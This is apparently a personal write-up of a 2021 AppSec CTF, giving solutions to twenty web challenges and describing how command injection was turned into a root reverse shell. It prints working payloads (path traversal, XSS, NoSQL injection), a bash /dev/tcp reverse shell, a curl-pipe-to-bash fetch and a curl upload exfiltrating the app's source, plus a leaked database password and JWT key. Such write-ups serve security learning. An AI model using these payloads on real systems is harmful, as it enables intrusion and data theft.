AppSec CTF 2021 Writeups: How I got 20/20 Flags

I participated in the CCoE Great AppSec Hackathon/CTF 2021 on 27-28 November, 2021. It was organized by the Data Security Council of India, NASSCOM, CSW, IEEE, some other industry associations and government organizations. The first round was a quiz held in the morning. The second round was a 24 hour jeopardy style CTF. I got all twenty flags in less than seven hours. Here is my writeup.

I was given my VPN credentials at 6:45 and the CTF started at 7 PM on November 27, 2021. I solved 11-12 challenges by 12:30 AM. And then I discovered something which helped me solve the rest in an hour (and most of that hour was spent doing something irrelevant). Read the last part for details.

Solving Challenges the Regular Way

Local File Inclusion

Go to /../../../../../etc/passwd. You may need to intercept the request, and edit/fix it in the raw request editor if your browser removes the ../../../../../ part.

Broken Access Control

Try to log in. Intercept the request, change URL-encoded parameter role from user to admin and then resume the HTTP request.

Components with known vulnerabilities

JQuery script tag had

flag="Q1NXe1Z1TG4zckBibEVfalF1RXJZX0xlQURzXzdPX3g1NX0="

Decode with base64.

Parameter Tampering

Add a URL-encoded GET param, action with any random value on the /search endpoint.

Cross-Site Scripting

The /search page is vulnerable to XXS. Search (or add as value to the title param) the following string </p><script>alert(document.domain)</script> to get the flag.

Dashboard access via default credentials

Try to log in with email admin@csw.com and password admin to get the flag.

Token leak via source code

Buried somewhere deep in token.js is this line:

1
// var confidentialInfformation = "UTFOWGUwQXhWMkY1VTE5eU0wQmtYeVF3ZFhKak0xOURNR1F6ZlE9PQ=="

Base64 decode it twice to get the flag.

JSONP exploitation

The question tells you that the product details page is vulnerable to JSONP exploitation.

Add a callback URL-encoded query parameter on the product page with any value and it will work.

Directory Listing

The flag is at /api/config/flag.txt

Unrestricted File Upload

Open the new product page where you upload an image.

In chromium devtools, open up the sources tab. View the upload.js file.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
async function fileValidation() {
  var fileInput = document.getElementById("file");

  var filePath = fileInput.value;

  // Allowing file type
  var allowedExtensions =
    /(\.png|\.jpeg|\.jpg|\.tif|\.tiff|\.eps|\.raw|\.gif)$/i;

  if (!allowedExtensions.exec(filePath)) {
    alert("Invalid file type");
    fileInput.value = "";
    return false;
  } else {
    extensions = filePath.split(".")[1];
    validExtensions = [
      "png",
      "jpeg",
      "jpg",
      "tif",
      "tiff",
      "eps",
      "raw",
      "gif",
    ];
    if (!validExtensions.includes(extensions)) {
      let response = await fetch("http://ctf.hackerearth.org/admin/fileUpload");
      let data = await response.json();
      alert(data.data);
    } else {
      alert("File Upload Successful");
    }
  }
}

Change the if (!allowedExtensions.exec(filePath)) { line to if (false) { and try to upload a non image file like a .txt file.

Authentication Bypass

When you’re logged in and visit the home page at / then a JavaScript function tries to send a GET request at /jwtflag/<somebase64string>.

Intercept the request.

Decode the base64 string.

On decoding the base64 string you will get something like:

1
{"typ":"JWT","alg":"HS256"}

Replace the algorithm with none, re-encode to base64, and forward the request.

1
{"typ":"JWT","alg":"none"}

Ideally this should give you the flag but the ctf application had a bug where it would only give you the flag if your decoded string was

1
{"typ":"JWT","alg":"none"}.

with an extra dot at the end. This is an invalid JWT according to https://jwt.io/

Insecure CORS misconfiguration

The flag was at the /flag endpoint but the incorrect CORS config meant that you couldn’t visit it via a regular browser. Just use any HTTP client like the CLI tool curl with the origin: https://cybersecurityworks.com header.

BAC via header change

Make a GET request to /admin/internal with the x-forwarded-for: 127.0.0.1 header.

Insecure Direct Object Reference

Visit the /cart endpoint. Soon you will see that some JavaScript function will try to make a GET request to /cart/<somebase64string>.

Intercept the request.

Decode the base64 string.

On decoding the base64 string you will get something like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "user": {
    "cart": { "items": [] },
    "_id": "61b39d3a4ef3b8e22c76a794",
    "email": "test@gmail.com",
    "password": "$2a$12$IiTi6mmtkTv5HgMOP.jU7eFsAMO1lZ.aEmhJ3iwlF8ehnp26MN67C",
    "isAdmin": false,
    "__v": 0
  },
  "isAdmin": false,
  "iat": 1639161151
}

Modify the email to something gibberish like whatever@gmail.com. Re-encode to base64 and forward the request. The response will be the flag.

Login via source code review

login.js has some MD5-related functions, an XOR-related function, and a login function.

Let’s look at the login function. Afaik it isn’t being used anywhere else.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function login() {
  var username = document.getElementById("username").value;
  var password = document.getElementById("password").value;

  var concat = username + ":" + password;
  var encrypted =
    "\x06\x00?\x14;\x00V\x1C0&\x071\x00*\r0?+:\x1C[^Z16<\x1D\x1D\x13V\x18";
  var secret = "EShopeeLogin";

  if (xorString(concat, secret) == encrypted) {
    url = "/ClientSide?hash=" + md5(password);
    document.location = url;
  } else {
    alert("Invalid credentials");
  }
}

XOR has a property,

A ^ B = C and A ^ C = B

XOR is also commutative.

X ^ Y = Y ^ X

So I modified the function.

1
2
3
4
5
6
7
function login() {
  var encrypted =
    "\x06\x00?\x14;\x00V\x1C0&\x071\x00*\r0?+:\x1C[^Z16<\x1D\x1D\x13V\x18";
  var secret = "EShopeeLogin";

  console.log("Concat is:", xorString(encrypted, secret));
}

Then I executed login() in the JavaScript console from browser devtools. It displayed the flag.

Privilege Escalation through Insecure Direct Object Reference

Visit /orders

On viewing the source code you will see

1
2
3
4
5
<input
  type="hidden"
  name="admin_id_to_verify"
  value="61770049a492815074995181"
/>

The notable thing is this value 61770049a492815074995181.

A JavaScript function called vertIdor will try to make a GET request to /orders/<somebase64string>.

Intercept the request.

Decode the base64 string.

On decoding the base64 string you will get something like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
{
  "user": {
    "cart": { "items": [] },
    "_id": "61b39d3a4ef3b8e22c76a794",
    "email": "test@gmail.com",
    "password": "$2a$12$IiTi6mmtkTv5HgMOP.jU7eFsAMO1lZ.aEmhJ3iwlF8ehnp26MN67C",
    "isAdmin": false,
    "__v": 0
  },
  "isAdmin": false,
  "iat": 1639161151
}

Replace _id ’s value with the admin_id_to_verify value we had discovered earlier. Re-encode to base64 and forward the request. The response will be the flag.

Server Side Request Forgery

In the add product form, set the image URL to file:///etc/passwd and fill in any other values for the rest of the fields.

NoSQL Injection

I was unable to figure this out and got the flag using the RCE method explained at the end.

After the competition ended, I asked Watto and Vengatesh (part of the organizing team) for the proper solution on Discord.

In the /search endpoint instead of trying to put your injection in the title parameters’s value, you have to edit both the parameter and it’s value.

So making a GET request to /search?title[$ne]=null gives you the flag.

Command Injection

This is the interesting one.

On the surface it is easy. When you edited a product and updated the title, then you got the standard error as output as it tried to execute the title contents. So you should just input any valid Linux command and the shell would spew the output if stderr is empty.

Sure enough, it worked.

But there is more. This is the challenge that can reduce solving the entire CTF to a matter of minutes. Elaborated at the end.

Git Information disclosure

I found something at /.git. It was an HTML git viewer thingy. I tried cloning it with git but it just stuck.

So I used wget to download it.

1
wget --recursive --no-parent http://ctf.hackerearth.org/.git/

This downloaded it. Then I opened it with Gitg which is GNOME’s git graphical user interface. Gitg makes it very very easy to browse and search across branches and commit history. I got the flag in a source code file.

Getting Remote Code Execution

Let’s go back to the Command Injection challenge.

While executing random Linux commands, I tried random things. I tried to redirect stdout to stderr and combine commands with || or && or ;. All of these gave me the flag for the original challenge.

I suspected this wasn’t a real shell and it was hardcoded to return the flag on trying Linux commands.

But then when I tried $HOME/whatever it said /root/whatever not found. This told me it was a real shell after all. I realized sub-commands using $() were working.

Then I checked if the machine had internet connectivity. This was necessary because we had access to the deployed service via VPN only and the web app wasn’t exposed to the wider internet.

$(curl https://webhook.site/dd91b1d1-7438-473e-8d6d-f4789f6ecfb2)

Then I opened https://webhook.site/#!/dd91b1d1-7438-473e-8d6d-f4789f6ecfb2/60f59016-db4a-40b3-82be-d2030cf9b3dd/1 and sure enough, there was a request from a machine with curl/7.68.0 as user-agent.

Next, I tried opening a reverse shell.

On my server, I opened up port 6969 in the firewall. Then I started a netcat listener with

1
nc -l 6969

Then I crafted my reverse shell command

1
/bin/bash -i >& /dev/tcp/140.238.243.99/6969 0>&1

and saved it as a downloaded plaintext paste.

I updated a product title to $(curl https://pastebin.com/raw/b315knj2 | bash). It spawned a reverse shell on my netcat listener with root level access.

1
$(curl https://pastebin.com/raw/b315knj2 | bash)

I saw the source code for the web app and opened main.js. (The app was written in node.js)

1
2
3
4
5
6
7
8
const jwt = require("jsonwebtoken");
const jwt_key = "This_is_JWT_Secret_Key";

const errorController = require("./controllers/error");
const User = require("./models/user");

const MONGODB_URI =
  "mongodb+srv://watto:3kW7I3Ig5jGUPjcA@cluster0.urvyj.mongodb.net/cswCom?retryWrites=true&w=majority";

Viola! I had the JWT key and the database connection string. I spent an hour just exploring the MongoDB database which I had 100% read and write access to. I dumped, downloaded, and explored every piece of data in it but didn’t find any flags in it.

Then I looked at other files and Boom! Flags.

Since I had root access to the machine I installed the zip utility on it. apt install zip

1
zip -r sauce.zip ./

Then I sent the entire zip file to my machine using curl and a pastebin that allows binary files to be uploaded.

curl --data-binary @sauce.zip https://bin.wantguns.dev

I got the public URL to the source code and downloaded it.

On downloading the zip, I searched it for CSW{. And wow! I got 16 flags from this itself. If someone did just this question they’d have solved 80% of the entire CTF in minutes.

Since I had done 11-12 challenges already I uploaded the rest ASAP and submitted.

The challenges not found via this method are Components with known vulnerabilities, Token leak via source code, Login via source code review and Git Information disclosure.

Anyways, with that, the CTF was over for me. I had gotten all flags before 2 AM. I could have done the rest of the challenges manually as well but I already had the flags so why bother.


Last modified on 2021-12-12